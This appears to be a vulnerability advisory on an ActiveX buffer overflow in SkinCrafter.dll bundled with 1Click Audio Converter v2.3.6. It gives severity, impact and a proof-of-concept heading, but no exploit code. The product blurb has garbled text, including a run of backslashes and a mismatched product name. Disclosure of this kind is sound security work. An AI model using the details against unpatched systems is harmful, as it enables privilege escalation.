Product & Service Introduction:
===============================
Looking for a free tool that can convert audio files from your extensive,
wide-ranging collection into a format that plays on your iPhone?
Or just about any device or player? 1Click Audio Converter is a free software
designed for converting audio files from one format to another
according to your wish and saving them to your hard drive. 1Click Audio
Converter supports a wealth of audio formats, including MP3, WMA, WAV,
M4A, iPhone Ringtone, OGG, AC3, and convert them to MP3, WAV and AC3. Using the
program couldn\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\'t be easier; you simply select
the files they
want to convert, choose the output format and destination folder, optionally
adjust the bitrate or channel options, and Airy does the rest.
It also has the ability to convert only a portion of an audio, instead of the
entire file. This is a very basic editing feature, but it’s
really helpful because you don’t have to download any sound editing software if
you want only some parts of the audio.

Technical Details & Description:
================================
An activeX buffer overflow vulnerability has been discovered in the official 1
Click Audio Converter v2.3.6 software.
The buffer overflow vulnerability can be exploited by local attackers to
compromise a target system or
to gain higher access privileges for further exploitation.
The buffer overflow vulnerability is located in the COM component used by the
product SkinCrafter.dll (dynamic library).
The vulnerability is available with poc demo code and security video to
demonstrate how to exploit the issue via activex component.
The security risk of the buffer overflow vulnerability is estimated as high
with a cvss (common vulnerability scoring system) count of 6.1.
Exploitation of the vulnerability requires a low privilege system user account
and no user interaction. Successful exploitation of the
vulnerability results in system compromise by elevation of privileges via
overwrite of the registers.
Proof of Concept (PoC):
=======================
The activex buffer overflow vulnerability can be exploited by local attackers
without user interaction.
For security demonstration or to reproduce the security vulnerability follow
the provided information and steps below to continue.
